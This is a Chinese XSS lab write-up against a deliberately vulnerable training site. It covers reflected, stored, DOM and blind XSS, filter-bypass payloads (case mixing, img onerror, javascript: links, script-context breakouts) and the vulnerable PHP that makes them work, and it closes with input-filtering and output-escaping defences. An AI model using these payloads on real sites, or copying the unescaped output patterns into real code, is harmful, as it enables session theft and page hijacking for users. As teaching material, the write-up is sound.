简介:
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
XSS实验环境
测试目标:lzctf.thecat.top——XSS
测试工具:Fiefox+浏览器开发者工具
基本概念和原理
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
漏洞形成的原因
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
漏洞复现&&利用方法
反射型XSS(Get XSS)
按照测试流程,先输入一些特殊字符进行测试 "><>111
不要一开始就上Payload测试;发现我们输入的特殊字符被原封不动的输出到了页面上;
此时可以初步判断该站存在反射型XSS,接下来构造Payload进行利用,
在输入的过程中发现Payload输入到一定程度的时候就再也无法进行输入了;
通过审查元素发现前端JavaScript对输入字符长度进行限制,只能输入20个字符,我们直接在前端将20修改为更大的数值即可达到前端绕过字符长度限制的目的;
反射型XSS代码分析
$html='';
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="输入'kobe'试试-_-";
}else{
if($_GET['message']=='kobe'){
$html.="愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!";
}else{
$html.="who is {$_GET['message']},i don't care!";
}
}
}
URL分析:https://lzctf.thecat.top/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%271%27%29%3C%2Fscript%3E&submit=submit
通过分析发现,Payload直接拼接到了URL上,只不过浏览器对其进行了Until编码,那么由此原理推断出直接在URL上的message=后边直接拼接 <script>alert('1')</script>
Payload也会被触发。
实验证明:
反射性xss(post)
POST型XSS利用:Cookie盗取 拓朴图:
实验环境:
攻击机:192.168.0.106(构建恶意POST表单)
靶机(用户):192.168.0.108/pikachu/vul/xss/xsspost/post_login.php
思路:构造一个POST表单搭建在公网——缩短url——发送给用户(交互)。
存储型XSS
首先输入 '''><>111111&
进行测试
输入的字符原封不动的显示在网页上;
上Payload <script>alert(/1/)</script>
实验成功,Payload已经嵌入网页代码中存储。
存储型XSS代码分析
$link=connect();
$html='';
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
if(mysqli_affected_rows($link)!=1){
$html.="数据库出现异常,提交失败!";
}
}
经过查看代码,我们可以发现我们输入的留言再存入数据库的时候做了转义(防止Sql注入);
继续分析
留言列表:
{$data['content']}删除";
}
echo $html;
?>
echo "<p class='con'>{$data['content']}</p>
通过语句发现他在显示到页面上的时候,是原封不动将内容显示到网页上来的。
DOM型XSS(前端代码直接赋值)
因为DOM型XSS不与后端交互(输入输出都在前端进行)查看网页源代码,进行分析(判断输入和输出点)
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
提取代码进行构造Payload <a href='"+str+"'>what do you see?</a>
——>' onclick="alert('1')">
>——>><a href='' onclick="alert('1')">'>what do you see?</a>
试验成功
DOM型XSS-x(URL获取输入)
查看网站源代码
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
有些费尽心机想要忘记的事情,后来真的就忘掉了
和上一个场景类似,只不过这个实验场景是url里获取输入内容(这里的利用方式和反射型XSS类似)
构造Payload
<a href='"+xss+"'>就让往事都随风,都随风吧</a>
——>>Payload: ' onclick="alert('xss')">
——>>拼接Payload <a href='' onclick="alert('xss')">'>就让往事都随风,都随风吧</a>
试验成功
XSS之盲打姿势
什么是XSS盲打???
顾名思义,看下图
思路——>>见框不管3721先上Payload 万一~~~?
一个留言板???先插再说
提示留言成功
此时 管理员 收到消息?邮箱通知:您有一条留言带查看 ??
管理员登陆成功后,被X
XSS钓鱼实验演示:
XSS获取键盘记录实验演示:
这两个实验 等有实验环境在补上。
XSS之绕过
XSS绕过-过滤-转换
0 ,前端限制绕过,直接抓包重放,或者修改html前端代码
1.,大小写,比如: aLeRT(111)< /sCRIpt>
2 ,拼凑: <scri
3 ,使用注释进行干扰: <scri
</p>
XSS绕过-过滤-编码
后台过滤了特殊字符,比如< script>标签,但该标签可以被各种编码,后台不一定会过滤当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行。
在使用编码时需要注意编码在输出点是否会被正常识别和翻译!
例子1:
URL编码
未编码——>><img src=x onerror=" alert("xss' )"将alert('xss' )进行URL编码,可以执行吗
已编码——>><img src=x onerror=" alert%28%27xss%27%29" />
不会被执行!!!
例子2:
HTML实体编码绕过
XSS过滤绕过实验演示:
首先,按照测试流程输入特殊字符 <script>;()111
发现 <script>
标签被K了,尝试大小写混合绕过;
payload——>><ScRiPT>alert(111)</ScRiPT>
代码分析
$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
//这里会使用正则对<script进行替换为空,也就是过滤掉
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
// $message=str_ireplace('<script>',$_GET['message']);
正则匹配过滤(打破正则逻辑即可绕过)
从代码层面 只是对script标签进行过滤可以使用img标签。
Payload——>><img src=x onerror=alert(111)>
xss之htmlspecialchars
XSS绕过-关于htmlspecialchars()函数:
htmlspecialchars()函数把预定义的字符转换为HTML实体。
预定义的字符是:
&(和号)成为&
"(双引号)成为"
'单引号)成为'
<(小于)成为<
>(大于)成为>
可用的引号类型:
ENT_ COMPAT -默认。仅编码双引号。
ENT_ QUOTES -编码双引号和单引号。
ENT_ NOQUOTES -不编码任何引号。
编码实体化绕过:
同样的输入特殊字符测试,
然后c'闭合前面的标签,构造Payload——>>c' onclick='alert(1111)'
代码分析:
//使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理
$message=htmlspecialchars($_GET['message']);
$html1.="<p class='notice'>你的输入已经被记录:</p>";
//输入的内容被处理后输出到了input标签的value属性里面,试试:' onclick='alert(111)'
// $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
$html2.="<a href='{$message}'>{$message}</a>";
使用了htmlspecialchars()函数进行处理,并输出到页面。
xss之href输出
首先看代码
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
}
if($_GET['message'] == 'www.baidu.com'){
$html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
}else {
//输出在a标签的href属性里面,可以使用javascript协议来执行js
//防御:只允许http,https,其次在进行htmlspecialchars处理
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
}
发现对输入内容进行了判断,并对输出进行了编码 $message=htmlspecialchars($_GET['message'],ENT_QUOTES);
基于a标签构造Payload——>>javascript:alert(111)
成功。
xss之js输出
接收:
if(isset($_GET['submit']) && $_GET['message'] !=null){
$jsvar=$_GET['message'];
// $jsvar=htmlspecialchars($_GET['message'],ENT_QUOTES);
if($jsvar == 'tmac'){
$html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
}
}
输出:
<script>
$ms='<?php echo $jsvar;?>';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
前端接收,在前端进行输出。
输入<>()&'1111发现没有 回显。。
查看网页源代码发现:
<script>
$ms='<>()&'1111';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
通过 <script> $ms='<>()&'1111'
构造Payload;
<script>
$ms='x'</script><script>alert('1')
</script>';
最终的Payload为 x'</script><script>alert('1')</script>
防范措施
XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
总的原则:输入做过滤 输出做转义
过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里
面的进行js转义。